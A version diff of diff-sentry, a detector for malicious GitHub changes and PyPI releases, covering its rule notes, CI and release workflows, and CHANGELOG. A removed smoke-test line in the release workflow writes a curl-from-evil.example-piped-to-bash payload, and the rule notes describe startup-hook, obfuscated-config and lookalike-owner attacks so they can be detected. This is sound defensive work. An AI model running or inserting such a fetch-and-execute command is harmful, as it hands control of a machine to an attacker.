diff-sentry 0.9.0__tar.gz → 0.10.0__tar.gz

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/indicators.md

@@ -132,6 +132,7 @@ A dev machine infected by a loader of the Contagious Interview / PolinRider fami
 - **`binary-name-holds-text` is `high`**: a text patch under a font, image, archive or native-binary name, or added lines with no patch (a text diff too large to show). A real file of those formats has a NUL in its first bytes, so GitHub sends no patch and counts no lines. A Git LFS pointer is exempt only when its whole new side is pointer keys (`version` first, then `oid sha256:<64 hex>`, `size <n>`), so an update that rewrites only `oid` and `size` stays exempt and a script with a pointer line inside does not. `.svg` is text by nature and `.pdf` is often stored as text, so neither is on the list.
 - **`obfuscated-dev-config` is `critical`**: `obfuscated-string-array` in the ADDED lines of a config a developer's tools execute (`eslint`, `vite`, `vitest`, `webpack`, `rollup`, `next`, `nuxt`, `tailwind`, `postcss`, `babel`, `jest`, `playwright`, `prettier`, `hardhat`, `commitlint`, `stylelint` configs and their `rc` files, `truffle-config`, `gatsby-*`, `.mocharc`, gulpfile, Gruntfile, `karma.conf`). Removing it is cleanup.
 - **`python-startup-hook` is `high`**: a written `.pth` line that starts with `import` and a blank (the only lines `site` executes; the rest of a `.pth` is a list of paths), after an optional BOM, with each line of the patch split as `site` splits it (`str.splitlines`, so a lone CR or a form feed starts a line of its own); and any written line, or a rename, of a `sitecustomize` or `usercustomize` module or package. A `.pth` renamed without a change to its content shows no line and is a known gap. Python runs both at every start of an interpreter whose site-packages holds them, the litellm 1.107.0 wheels' trigger. The shims of packaging and instrumentation tools (virtualenv, setuptools' `distutils-precedence.pth`, coverage, OpenTelemetry's `sitecustomize.py`) are an accepted over-alert: they run code at every start too.
+- **`lookalike-owner` is `critical` in a workflow or `action.yml` and `high` elsewhere**: a written GitHub owner where a change names one (a URL on `github.com`, the API's `repos/`, `raw.githubusercontent.com` or `ghcr.io`, any case; `uses:`, `gh repo clone`, `-R` / `--repo`, npm's `github:`; a YAML value under `repository:`, a key naming a repo or a source, or `default:`) that equals the repository's own once hyphens are dropped and is not it (GitHub owners ignore case, so a case difference is the same account). Never a bare `x/y` token: a Docker Hub namespace drops its org's hyphen (`nodered/node-red`) and a package directory often does too. No reading of the YAML around a reference decides its strength: in a workflow every hyphen lookalike is `critical` (each structural reading tried had a spelling that moved a checkout's own `repository:` below the floor), and a hyphenated organisation that writes its own Docker Hub namespace under a repo key there (`repository: nodered/node-red`) is an accepted over-alert. Outside a workflow a URL, `uses:`, a clone, `-R` and `github:` are `high`, and a key's value is `medium` (a chart's `image:` / `repository:`, a `DOCKER_REPO`, a `source_dir`). A value may follow tags and anchors in either order, a block scalar's indicator, a comment, a quote, and up to three blank or comment lines before a line of its own (a hunk's edge is never crossed); a line after an empty key at any indentation is read as its value, an accepted over-alert. A name keeps its strongest sighting, so a weak one first never hides a strong one after. An owner one edit away at six or more characters is `medium` too, since real sibling organisations sit one edit apart (`python`, `ipython`): it is evidence for the model stage, never a gate. Every reference is read; hits are bounded per class (50), so cheap hits in front never crowd out a strong one. Known gaps: an owner split across keys (`owner:` / `repo:`) or built by `format()`, a YAML alias (`repository: *src`), a value past more than three blank or comment lines or a key-line comment longer than 200 characters, a key that names neither a repo nor a source (`UPSTREAM:`), and a lookalike of an organisation the repository depends on rather than its own. litellm 1.107.0's private release workflow was pointed at `Berri-AI/litellm` by a commit force-pushed with an organisation owner's stolen token, after that token turned branch protection off. A workflow's `repository:` naming another owner is `foreign-checkout`, `medium`. The owner comes from the event's `repo` (never for a release) or, in the Action, `scan --repo` (default `GITHUB_REPOSITORY`); without one neither rule runs.
 - **The token walks are bounded**: a comment never spans two hunks (the lines between them are unseen), and a `command`'s object is searched at most `_OBJECT_REACH` tokens each way, for at most `_MAX_RUN_ENTRIES` entries a file.
 - **A structural hit's id carries its path** (`form=path`): the same setting in `tasks.json` and `settings.json` is two findings, not one deduped into the other.
 - **`obfuscated-string-array` (`high`) runs everywhere**: javascript-obfuscator's rotation loop `while(!![])` with the push/shift rotation or 20 hex-indexed decoder calls. It needs no `_0x` names, which a mangled-name setting removes (`obfuscated-identifiers` still reads those). Hand-rewritten output (`while(!0)`) is a known gap.

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/.claude/rules/monitoring.md

@@ -46,7 +46,7 @@ paths:
 ## Release watch (`releases.py`, `release-watch`)
 
 - **A release is a change.** `release_event` builds a `kind="release"` event (`repo` `pypi/<name>`, run id `pypi__<name>-<version>`, `-r<n>` for files added to a release later) whose files are the members of the new artifacts with content the previous release lacked, labelled `<kind>/<path>` (`wheel/cook.pth`, `sdist/pyproject.toml`), with a unified diff as the patch. It goes through `cli.screen`, so every text and file-structure rule reads it; never add a second scanning path for releases.
-- **Release facts are host-side facts.** `scan_release` turns `event["release"]` into baseline hits beside `scan_provenance` in `cli._baseline_indicators`: `release-new-install-root` (medium), `release-new-dependency` (low), and what was not read, all `high`: `release-attestation-dropped`, `release-shadowed-member` (two members of one artifact install to one path, which pip resolves to the `.data` copy), `release-code-not-read` (a changed member that runs, by suffix or as a build file or script, and was not shown as text: too large, past the diff's 20,000 lines, past a text or patch budget, compiled bytecode, a source file declaring a coding it cannot be read in, and a native module whose name, without its ABI tag, the previous release did not have), and `release-not-fully-read` (an artifact not downloaded, not matching its sha256, not read to its end for any reason, or a comparison given up after five attempts, which is screened and alerts on its own). `release_scope` keeps `prompt-injection` at `medium` in a release event: a package's files are read by the programs that import them, and an LLM library's own code talks about its prompts.
+- **Release facts are host-side facts.** `scan_release` turns `event["release"]` into baseline hits beside `scan_provenance` in `cli._baseline_indicators`: `release-new-install-root` (medium), `release-new-dependency` (low), `release-attestation-dropped` (`high`: the previous release had attestations, all of its files or any, and these files have none), `release-publisher-changed` (`high`: a Trusted Publisher, as kind, repository, workflow, environment and a Google publisher's email, case-folded, that the previous release's attestations did not name; it names the repository whose workflow uploaded, not the source it built from, and needs an attested previous release; read from PyPI's provenance URL in the index, retried when PyPI does not serve it) and `release-publisher-lookalike` (`critical`: that publisher's owner differs from a previous one's only by hyphens), and what was not read, all `high`: `release-shadowed-member` (two members of one artifact install to one path, which pip resolves to the `.data` copy), `release-code-not-read` (a changed member that runs, by suffix or as a build file or script, and was not shown as text: too large, past the diff's 20,000 lines, past a text or patch budget, compiled bytecode, a source file declaring a coding it cannot be read in, and a native module whose name, without its ABI tag, the previous release did not have), and `release-not-fully-read` (an artifact not downloaded, not matching its sha256, not read to its end for any reason, or a comparison given up after five attempts, which is screened and alerts on its own). `scan_release_change` is `scan_change` with `release_scope`, which keeps the mention rules (`prompt-injection`, `codeowners-tamper`, `workflow-tamper`, `privileged-fork-trigger`, `ci-bypass`) at `medium` anywhere in a release: a package's files are read by the programs that import them, a package governs no repository, and a comment mentions these as readily as code. The workflow-content rules (`pwn-request`, `workflow-permission-escalation`) keep their severity in every file, a workflow file of the sdist included: wherever a package carries that content, its code or its build can push it into someone's repository (a worm's shape), and every narrower reading tried had a spelling that hid one. Package code that writes only a code-owners file is a known gap.
 - **Artifacts are data.** Download only from `pypi.org` and `files.pythonhosted.org` over https, no redirects, each body checked against the index's sha256; read archives in memory, never extract, never install. Bounds: a download (`DS_RELEASE_MAX_ARTIFACT_MB`, 256), a release (1 GiB or four downloads), a zip's central directory (32 MiB: the largest of the size the end record states and the zip64 records whenever a locator sits before it, the one zipfile reads right before the locator and the one the locator names; never the member count, which zipfile ignores), members per artifact (50,000, a cut noted), decompressed bytes per artifact (256 MiB, counted by a capped stream so a tar header is bounded too), text kept per comparison (256 MiB), text per member (1 MiB; a larger one is compared by its sha256), patch text per event (16 MiB). A download PyPI does not serve is retried, never judged on part of a release.
 - **Two passes.** The first reads digests only, to learn which members changed; the second keeps text for those and for the metadata alone, so a release of many platform wheels does not spend the text budget on what did not change. A Python source member is read as UTF-8 with replacement characters and its NULs kept, and, when its first two lines hold a `coding[:=]` declaration anywhere, also as that coding (resolved by `codecs.lookup` as CPython resolves it; a name of more than 200 characters is not resolved), both readings scanned (a `coding: utf-7` file hides its code from a UTF-8 read, and where CPython honours a declaration is not reproduced, so neither reading is left to the author); a declared coding that cannot be read is `release-code-not-read` (`site` runs a `.pth` line after a NUL line); any other member that is not UTF-8 is binary.
 - **Paths are where pip puts them.** A wheel's `x.data/purelib/` and `platlib/` map to the site-packages root, `x.data/scripts/` to `{scripts}/`, `x.dist-info/` to `{dist-info}/`; an sdist member loses its top directory, and one at the root keeps its path (pip builds from the root when the members share no top directory). `RECORD`, `WHEEL` and `METADATA` of a wheel, and `PKG-INFO` and `*.egg-info/` of an sdist, are derived and not diffed; `Requires-Dist` is read from `METADATA`.

diff_sentry-0.10.0/.claude/skills/release/SKILL.md

@@ -0,0 +1,25 @@
+---
+name: release
+description: "Cut a diff-sentry release: bump the five version sites together, write the CHANGELOG entry, and publish the GitHub Release that ships PyPI + the Marketplace Action. Use when asked to release, bump the version, or tag vX.Y.Z."
+---
+
+# Cut a diff-sentry release
+
+A release moves FIVE version sites together, plus a `CHANGELOG.md` entry:
+
+1. `pyproject.toml` `[project].version`
+2. `diff_sentry/__init__.py` `__version__`
+3. `action.yml` `inputs.version.default` (decides which PyPI release a consumer's `uses: …@vX.Y.Z` installs)
+4. `README.md` quickstart `uses: qazbnm456/diff-sentry@vX.Y.Z`
+5. `uv.lock`, via `uv lock`
+
+`release.yml` fails the build unless the tag, the built wheel's version, the installed `__version__`, and the `action.yml` default all agree, and it checks that the installed console script flags a known-malicious diff. Nothing gates the README `uses:` line: a stale one sends new adopters to the previous release, so check it by hand.
+
+## Steps
+
+1. Freeze the boundary: `git fetch --tags`, then `git log v<last>..HEAD` (the tag is made on GitHub when the release is published, so a clone has it only after a fetch). Every `feat:` / `fix:` / `deps:` commit inside it is a CHANGELOG candidate.
+2. Write the `CHANGELOG.md` entry in the file's existing style: one sentence per user-visible outcome, breaking changes and required actions explicit, no debugging story. Put it through `/write` (release-notes mode) and the punctuation gate before step 4; it is the release notes, so it is outward copy.
+3. Bump sites 1 to 4, run `uv lock`, then verify: `uv run pytest`, the eval suite (`uv run --package diff-sentry-eval --extra dev python -m pytest eval/tests`), `uvx ruff check .`.
+4. Commit (`chore: release X.Y.Z`) and push to `main` once the user approves. CI's `consumer install path (PyPI)` job then goes RED on this commit, by design: it installs `action.yml`'s default version from PyPI, which does not exist until step 5. Every other job must be green before you continue.
+5. Create a DRAFT release (`gh release create vX.Y.Z --draft --target <release sha> --title … --notes-file …`, notes = the CHANGELOG section). The user publishes it in the web UI with "Publish this Action to the GitHub Marketplace" ticked (the CLI cannot tick it). Publishing is what builds, verifies, and uploads to PyPI via Trusted Publishing, and the upload is irreversible.
+6. After `release.yml` succeeds and PyPI's simple index lists the version (`curl -s -H "Accept: application/vnd.pypi.simple.v1+json" https://pypi.org/simple/diff-sentry/`; the index lags the upload by minutes, and a rerun before it lists the version fails to resolve), re-run the failed consumer-install job (`gh run rerun <ci run id> --failed`); green proves the published package installs and scans. The runner reads PyPI through another CDN edge, which can lag the index you checked by several minutes: a rerun that still cannot resolve the version is run again a few minutes later, not debugged.

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/.env.example

@@ -12,8 +12,7 @@ DS_BASE_URL=https://your-openai-compatible-endpoint/v1
 DS_API_KEY=sk-...
 
 # --- OR: run planner + analyst on a Claude Pro/Max subscription (no API key) ---
-# A role with the `claude-agent-sdk/<id>` prefix runs on your Claude subscription through the Claude Agent SDK (`rlm_harness.ClaudeAgentLM`, the `subscription` extra).
-# Each call is a pure completion: no tools, no filesystem, no settings leakage.
+# A role with the `claude-agent-sdk/<id>` prefix runs on your Claude subscription through the Claude Agent SDK (`rlm_harness.ClaudeAgentLM`, the `subscription` extra). Each call is a pure completion: no tools, no filesystem, no settings leakage.
 # Prerequisites:
 #   - `uv sync --extra subscription`
 #   - the Claude Code CLI installed and logged in (`claude` then /login, or `claude setup-token` and export CLAUDE_CODE_OAUTH_TOKEN)
@@ -38,11 +37,9 @@ DS_API_KEY=sk-...
 # DS_CLASSIFIER_TIMEOUT=60             # seconds per call, a hard ceiling
 # DS_CLASSIFIER_TRANSIENT_RETRIES=1    # re-sends after an endpoint error (not after an unusable reply)
 # DS_CLASSIFIER_MAX_TOKENS=2048
-# A reasoning model can think through the whole budget and answer nothing; the tool then says it stopped at max_tokens.
-# Raising the cap alone can turn that into a timeout on a slow model; a thinking budget bounds both.
+# A reasoning model can think through the whole budget and answer nothing; the tool then says it stopped at max_tokens. Raising the cap alone can turn that into a timeout on a slow model; a thinking budget bounds both.
 # Extra request parameters (JSON object, single-quoted) apply over the default temperature of 0.1.
-# Model, messages, stream, n, timeout, max_tokens and max_completion_tokens are refused (the settings above own them).
-# So is a key the OpenAI client does not take: a parameter only your server knows goes under extra_body.
+# Model, messages, stream, n, timeout, max_tokens and max_completion_tokens are refused (the settings above own them). So is a key the OpenAI client does not take: a parameter only your server knows goes under extra_body.
 # DS_CLASSIFIER_LM_KWARGS='{"temperature":1,"extra_body":{"thinking_token_budget":1024}}'
 
 # --- RLM runtime ---

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/.github/workflows/ci.yml

@@ -1,17 +1,12 @@
 name: CI
 
-# Offline suite only: no live LLM, no network calls in tests, no Deno sandbox: dspy-bearing paths use
-# DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the
-# indicator suite's hit/miss behavior (see AGENTS.md "Verify"). `uv sync` resolves rlm-harness from PyPI
-# at the exact version pinned in pyproject.toml / uv.lock.
+# Offline suite only: no live LLM, no network calls in tests, no Deno sandbox: dspy-bearing paths use DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the indicator suite's hit/miss behavior (see AGENTS.md "Verify"). `uv sync` resolves rlm-harness from PyPI at the exact version pinned in pyproject.toml / uv.lock.
 on:
   push:
     branches: [main]
   pull_request:
 
-# Least privilege: this workflow only checks out code and runs tests/lint; it never writes. Specifying
-# `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted
-# fork PR can't use the token to push, tag, or open issues.
+# Least privilege: this workflow only checks out code and runs tests/lint; it never writes. Specifying `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted fork PR can't use the token to push, tag, or open issues.
 permissions:
   contents: read
 
@@ -32,9 +27,7 @@ jobs:
       - uses: actions/checkout@v7
 
       - name: Install uv
-        # Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag
-        # could be repointed at malicious code that runs with this workflow's token). GitHub-owned
-        # actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
+        # Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag could be repointed at malicious code that runs with this workflow's token). GitHub-owned actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
         uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
         with:
           enable-cache: true
@@ -50,27 +43,18 @@ jobs:
       - name: Studio console tests
         run: uv run --python ${{ matrix.python-version }} python -m pytest studio/tests
 
-      # The eval workspace member (diff-sentry-eval) has its OWN offline suite: the reward-free ATLAS
-      # scorecard, stub judge, synthetic traces, no creds.
+      # The eval workspace member (diff-sentry-eval) has its OWN offline suite: the reward-free ATLAS scorecard, stub judge, synthetic traces, no creds.
       - name: Eval scorecard tests
         run: uv run --package diff-sentry-eval --python ${{ matrix.python-version }} python -m pytest eval/tests
 
-      # The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based
-      # node tests; the ubuntu runner ships node, so gate them here too.
+      # The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based node tests; the ubuntu runner ships node, so gate them here too.
       - name: Frontend core unit tests (node)
         run: |
           for f in studio/tests/*.test.js; do echo "▸ $f"; node "$f"; done
 
-  # Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it.
-  # So every PR here is also an integration test of the thing users install: a drifted action.yml
-  # fails our own build before it reaches anyone's Marketplace install.
+  # Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it. So every PR here is also an integration test of the thing users install: a drifted action.yml fails our own build before it reaches anyone's Marketplace install.
   #
-  # DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_*
-  # model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`,
-  # precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no
-  # creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token.
-  # NO fork guard here, also deliberately: the job is read-only with no side effects outside its own
-  # repo, so a fork running it is correct and useful.
+  # DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_* model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`, precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token. NO fork guard here, also deliberately: the job is read-only with no side effects outside its own repo, so a fork running it is correct and useful.
   self-scan:
     name: self-scan (dogfood)
     runs-on: ubuntu-latest
@@ -81,16 +65,9 @@ jobs:
 
       - uses: ./
         with:
-          # Scan this PR with the rules IN this PR, not the ones already on main. Without it the
-          # dogfood would grade a rule change against the previous rule set and always pass.
+          # Scan this PR with the rules IN this PR, not the ones already on main. Without it the dogfood would grade a rule change against the previous rule set and always pass.
           version: local
-          # This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies,
-          # the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that
-          # tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit
-          # (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted
-          # in README's rule table both fire), so they are reported without gating while the machinery
-          # and the build/CI/dependency surface stay enforced. This file is in the GATED half:
-          # describe a payload shape here, never quote one.
+          # This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies, the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted in README's rule table both fire), so they are reported without gating while the machinery and the build/CI/dependency surface stay enforced. This file is in the GATED half: describe a payload shape here, never quote one.
           report-only-paths: |
             diff_sentry/indicators.py
             diff_sentry/detect.py
@@ -102,10 +79,7 @@ jobs:
             eval/diff_sentry_eval/taskset.py
             *.md
 
-  # The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN
-  # that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI --
-  # covered by nothing: a quoting or resolution bug there would break every install while our own CI
-  # stayed green. This job exercises exactly that line against a known-malicious fixture.
+  # The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI -- covered by nothing: a quoting or resolution bug there would break every install while our own CI stayed green. This job exercises exactly that line against a known-malicious fixture.
   consumer-install:
     name: consumer install path (PyPI)
     runs-on: ubuntu-latest
@@ -121,11 +95,8 @@ jobs:
           ver=$(uv run --no-project --with pyyaml python -c \
                 "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
           echo "action.yml default version: $ver"
-          # The fixture lives under tests/ (a report-only path) rather than inline here: this file is in
-          # the GATED half, so a payload written into it fails our own scan.
-          # FIRST prove the install. `scan` exits 1 when it flags, and uvx ALSO exits 1 when it cannot
-          # resolve `diff-sentry==${ver}` -- so the negative check below cannot tell "flagged" from "never
-          # installed" (e.g. a release commit whose version is not on PyPI yet).
+          # The fixture lives under tests/ (a report-only path) rather than inline here: this file is in the GATED half, so a payload written into it fails our own scan.
+          # FIRST prove the install. `scan` exits 1 when it flags, and uvx ALSO exits 1 when it cannot resolve `diff-sentry==${ver}` -- so the negative check below cannot tell "flagged" from "never installed" (e.g. a release commit whose version is not on PyPI yet).
           got=$(uvx "diff-sentry==${ver}" --version)
           echo "installed: $got"
           case "$got" in *" ${ver}") ;; *) echo "::error::expected version ${ver}, got '$got'"; exit 1;; esac
@@ -145,8 +116,5 @@ jobs:
         with:
           enable-cache: true
       - name: Lint
-        # PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT
-        # rule set is not a stable contract (0.16 widened it well past the pycodestyle/pyflakes
-        # baseline), so an unpinned run can turn this job red with no code change. Bump it
-        # deliberately, with the resulting fixes in the same commit.
+        # PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT rule set is not a stable contract (0.16 widened it well past the pycodestyle/pyflakes baseline), so an unpinned run can turn this job red with no code change. Bump it deliberately, with the resulting fixes in the same commit.
         run: uvx ruff@0.16.0 check .

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/.github/workflows/release.yml

@@ -1,19 +1,13 @@
 name: Release
 
-# Publish to PyPI via Trusted Publishing (OIDC), with NO API token. INERT until a GitHub Release is
-# published, and needs one-time setup before the first release:
+# Publish to PyPI via Trusted Publishing (OIDC), with NO API token. INERT until a GitHub Release is published, and needs one-time setup before the first release:
 #   1. On PyPI, add a Trusted Publisher for project `diff-sentry`:
 #        owner = qazbnm456, repo = diff-sentry, workflow = release.yml, environment = pypi
 #   2. In this repo's settings, create an environment named `pypi`.
 #
-# A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also
-# where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what
-# consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the
-# Action; keep the README's quickstart ref in step with the tag you publish.
+# A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the Action; keep the README's quickstart ref in step with the tag you publish.
 #
-# Supply-chain: the two third-party actions are SHA-pinned: setup-uv, and (highest blast radius, it
-# uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned
-# checkout/*-artifact stay on major tags.
+# Supply-chain: the two third-party actions are SHA-pinned: setup-uv, and (highest blast radius, it uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned checkout/*-artifact stay on major tags.
 
 on:
   release:
@@ -34,17 +28,9 @@ jobs:
       - name: Build sdist + wheel
         run: uv build
 
-      # Verify the ARTIFACT, not the checkout: a wheel can build cleanly and still be unusable. Without
-      # a `[project.scripts]` entry point, for example, `uvx diff-sentry` (the exact command the GitHub
-      # Action runs) cannot work, and nothing in the source tree says so. Installing the built wheel into
-      # a clean environment and running it is what catches that.
+      # Verify the ARTIFACT, not the checkout: a wheel can build cleanly and still be unusable. Without a `[project.scripts]` entry point, for example, `uvx diff-sentry` (the exact command the GitHub Action runs) cannot work, and nothing in the source tree says so. Installing the built wheel into a clean environment and running it is what catches that.
       #
-      # It also settles the version question against the thing being uploaded rather than against a
-      # regex over the source. Three identities have to agree: the git tag people pin, the version
-      # baked into the wheel's filename, and what a running install reports as `__version__`. A
-      # mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that
-      # silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into
-      # the script body.
+      # It also settles the version question against the thing being uploaded rather than against a regex over the source. Three identities have to agree: the git tag people pin, the version baked into the wheel's filename, and what a running install reports as `__version__`. A mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into the script body.
       - name: Verify the wheel installs, runs, and matches the tag
         env:
           TAG: ${{ github.event.release.tag_name }}
@@ -56,9 +42,7 @@ jobs:
           tag="${TAG#v}"
           wheel=$(basename dist/*.whl | cut -d- -f2)
           installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
-          # action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually
-          # runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so
-          # a user who upgraded to get a new rule would not get it and nothing would say so.
+          # action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so a user who upgraded to get a new rule would not get it and nothing would say so.
           action=$(/tmp/smoke/bin/python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])" 2>/dev/null \
                    || uv run --no-project --with pyyaml python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
           echo "tag=$tag wheel=$wheel installed=$installed action.yml=$action"
@@ -67,10 +51,8 @@ jobs:
             exit 1
           fi
 
-          # The console script must actually flag a known-malicious diff (exit 1). A wheel that installs
-          # but scans nothing would sail through a plain --version check.
-          printf '+run: curl http://evil.example/p | bash\n' > /tmp/smoke.diff
-          if /tmp/smoke/bin/diff-sentry scan /tmp/smoke.diff; then
+          # The console script must actually flag a known-malicious diff (exit 1). A wheel that installs but scans nothing would sail through a plain --version check. The diff is the fixture under tests/ (a report-only path): a payload written into this file fails our own scan.
+          if /tmp/smoke/bin/diff-sentry scan tests/fixtures/known-malicious.diff; then
             echo "::error::the console script did not flag a known-malicious diff"
             exit 1
           fi
@@ -83,12 +65,7 @@ jobs:
   publish:
     needs: build
     runs-on: ubuntu-latest
-    # Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release
-    # would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding
-    # (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against
-    # OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is
-    # deliberately NOT guarded: it only builds and tests an artifact, and a fork verifying its own
-    # build is fine.
+    # Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is deliberately NOT guarded: it only builds and tests an artifact, and a fork verifying its own build is fine.
     if: github.repository == 'qazbnm456/diff-sentry'
     environment: pypi
     permissions:

{diff_sentry-0.9.0 → diff_sentry-0.10.0}/CHANGELOG.md

@@ -2,13 +2,29 @@
 
 All notable changes to diff-sentry, a BewAIre-style detector that classifies one GitHub change (PR, issue or push) for malicious intent on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness).
 
+## 0.10.0
+
+Upgrade from 0.9.0: the GitHub Action now flags a GitHub owner that imitates your repository's own, so a workflow change it passed before can fail it now, and `release-watch` compares who published each release. Nothing needs configuring: the Action reads the repository from `GITHUB_REPOSITORY`. `rlm-harness==1.22.0` is unchanged.
+
+### Added
+- **`lookalike-owner` flags a GitHub owner that imitates the repository's own**, such as the `Berri-AI/litellm` that litellm's release workflow was pointed at to build 1.107.0 (the project is `BerriAI`). An owner that equals yours once hyphens are dropped is `critical` in a workflow and `high` in a URL, an action, a clone or a `--repo` elsewhere; one a single character away is `medium`, since real sibling organisations sit that close. A workflow that checks out another owner's repository is `foreign-checkout`, `medium`.
+- **`diff-sentry scan --repo owner/name`** names the repository a diff is of; it defaults to `GITHUB_REPOSITORY`.
+- **`release-watch` alerts when a release's Trusted Publisher changes**: a repository, workflow, environment or account that the previous release's PyPI attestations did not name is `high`, and `critical` when the repository's owner imitates the previous one's. It needs the previous release to be attested, and it names the repository whose workflow uploaded, not the one it built from.
+
+### Changed
+- **`release-watch` keeps the rules that only see a code-owners file, a workflow file or a CI skip mentioned below the alert floor**, as it already did for prompt injection: a package governs no repository, and a comment mentions them as readily as code. A workflow's dangerous content keeps its severity in every file of a package.
+
+### Fixed
+- **`release-watch` alerts when a release has no attestations after a release that had some**, including one whose sdist was uploaded by hand beside attested wheels.
+- **`release-watch --check` exits non-zero when the comparison fails.**
+
 ## 0.9.0
 
 Upgrade from 0.8.0: a new `release-watch` command, and one rule that fires less on Rust code. The GitHub Action's scan is otherwise unchanged, nothing needs configuring, and `rlm-harness==1.22.0` is unchanged. `packaging` is a new dependency.
 
 ### Added
-- **`diff-sentry release-watch` watches PyPI releases.** A compromised release need not pass through a pull request: litellm 1.107.0 was built from a lookalike fork, and its wheels held a `.pth` startup hook and a packed stealer the previous release did not. `release-watch` polls the packages you name, compares every new file with the release before it, and screens what changed with the same rules as a pull request, alerting the SIEM and archiving the comparison. Artifacts are read as data and never installed. See [Watching releases](docs/release-watch.md).
-- **What a release does not let it read alerts on its own**: a changed file that runs but could not be read as text (compiled bytecode, a new native module, a file too large to read), two files that install to the same path, a download that fails or does not match its checksum, and attestations the previous release had and this one lacks.
+- **`diff-sentry release-watch` watches PyPI releases.** A compromised release need not pass through a pull request: litellm 1.107.0 was built from an attacker's repository, and its wheels held a `.pth` startup hook and a packed stealer the previous release did not. `release-watch` polls the packages you name, compares every new file with the release before it, and screens what changed with the same rules as a pull request, alerting the SIEM and archiving the comparison. Artifacts are read as data and never installed. See [Watching releases](docs/release-watch.md).
+- **Anything it cannot read in a release alerts on its own**: a changed file that runs but could not be read as text (compiled bytecode, a new native module, a file too large to read), two files that install to the same path, and a download that fails or does not match its checksum. So does a release without the attestations the previous one had.
 
 ### Fixed
 - **`data-exfiltration` no longer reads a Rust closure named `env`** (`|env| self.getenv(env)`) as a shell dumping its environment into a pipe.
@@ -26,7 +42,7 @@ Upgrade from 0.7.1: the GitHub Action now runs the file-structure rules and catc
 - **A packed payload is inflated before it is read**: a base64 blob holding a zlib or gzip stream is decompressed, within a size budget, and scanned for a payload.
 
 ### Fixed
-- **The Action's scan runs the file-structure rules**: a VS Code task that runs on folder open, an npm lifecycle hook or task that runs a file the change adds, a script under an image or font name, obfuscated code in a developer tool's config, and the new startup hooks. Before, only the model pipeline and `watch` ran them.
